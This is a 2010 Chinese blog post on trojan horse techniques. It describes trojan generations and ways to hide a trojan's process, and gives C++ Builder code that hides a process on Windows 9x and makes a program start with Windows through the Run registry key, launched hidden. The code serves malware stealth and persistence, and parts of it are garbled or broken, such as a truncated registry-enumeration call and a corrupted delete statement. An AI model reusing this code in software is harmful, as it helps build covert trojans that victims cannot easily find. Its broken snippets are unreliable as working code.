Chinaunix首页 | 论坛 | 博客
  • 博客访问: 29954890
  • 博文数量: 2065
  • 博客积分: 10377
  • 博客等级: 上将
  • 技术积分: 21525
  • 用 户 组: 普通用户
  • 注册时间: 2008-11-04 17:50
文章分类

全部博文(2065)

文章存档

2012年(2)

2011年(19)

2010年(1160)

2009年(969)

2008年(153)

分类: 网络与安全

2010-08-09 23:04:51

1、木马程序的分类
  木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有 了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数 据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接 PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面 纱》。
2.木马程序的隐藏技术
  木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。
  说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。
   进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。
  线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。
  服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。
  想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。
   伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程, 当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相 关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等 软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。
   当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你 会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序 的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀 黑客程序难度的增加。
  出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。
  WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
  {
  try
  {
  DWORD dwVersion = GetVersion();  //取得Windows的版本号
  if (dwVersion >= 0x80000000)     // Windows 9x隐藏任务列表
  {
  int (CALLBACK *rsp)(DWORD,DWORD);
  HINSTANCE dll=LoadLibrary("KERNEL32.DLL");  //装入KERNEL32.DLL
  rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");  //找到RegisterServiceProcess的入口
  rsp(NULL,1);  //注册服务
  FreeLibrary(dll);  //释放DLL模块
  }
  }
  catch (Exception &exception)  //处理异常事件
  {
  //处理异常事件
  }
  return 0;
  }
  3、程序的自加载运行技术
   让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\Windows\CurrentVersions\Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多, 比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜 防,下面展示一段通过修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersions\Run键值来实现自启动的程序:
  自装载部分:
  HKEY hkey;
  AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">\\")+PName
  unsigned long k;
  k=REG_OPENED_EXISTING_KEY;
  RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\",
  0L,
  NULL,
  REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,
  NULL,
  &hkey,&k);
  RegSetValueEx(hkey,
  "BackGroup",
  0,
  REG_SZ,
  NewProgramName.c_str(),
  NewProgramName.Length());
  RegCloseKey(hkey);
  if (int(ShellExecute(Handle,
  "open",
  NewProgramName.c_str(),
  NULL,
  NULL,
  SW_HIDE))>32)
  {
  WantClose=true;
  Close();
  }
  else
  {
  HKEY hkey;
  unsigned long k;
  k=REG_OPENED_EXISTING_KEY;
  long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
  0,
  NULL,
  REG_OPTION_NON_VOLATILE,
  KEY_SET_VALUE,NULL,
  &hkey,&k);
  RegSetValueEx(hkey,
  "BackGroup",
  0,
  REG_SZ,
  ProgramName.c_str(),
  ProgramName.Length());
  int num=0;
  char str[20];
  DWORD lth=20;
  DWORD type;
  char strv[255];
  DWORD  vl=254;
  DWORD Suc;
  do{
  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
  (DWORD)num,str,
  NULL,
  &type,
  strv,&vl);
  if (strcmp(str,"BGroup")==0)
  {
  DeleteFile(AnsiString(strv));
  RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
  break;
  }
  }while(Suc== ERROR_SUCCESS);
  RegCloseKey(hkey);
  }
  自装载程序的卸载代码:
  int num;
  char str2[20];
  DWORD lth=20;
  DWORD type;
  char strv[255];
  DWORD  vl=254;
  DWORD Suc;
  do{
  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
  (DWORD)num,
  str,
  NULL,
  &type,
  strv,
  &vl);
  if (strcmp(str,"BGroup")==0)
  {
  DeleteFile(AnsiString(strv));
  RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
  break;
  }
  }while(Suc== ERROR_SUCCESS)
  HKEY hkey;
  unsigned long k;
  k=REG_OPENED_EXISTING_KEY;
  RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
  0,
  NULL,
  REG_OPTION_NON_VOLATILE,
  KEY_SET_VALUE,NULL,
  &hkey,
  &k);
  do{
  Suc=RegEnumValue(hkey,(DWORD)num,str,    if (strcmp(str,"BackGroup")==0)
  {
  DeleteFile(AnsiString(strv));
  RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");
  break;
  }
  }while(Suc== ERROR_SUCCESS)
  RegCloseKey(hkey);
  其中自装载部分使用C++ Builder可以这样写,会比较简化:
  TRegistry & regKey = *new TRegistry();
  regKey.RootKey=HKEY_LOCAL_MACHINE;
  regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);
  if(!regKey.ValueExists("Interbase Server"))
  {
  regKey.WriteString("Interbase Server",
  "D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe");
  }
  regKey.CloseKey();
  delete ?Key;
阅读(971) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~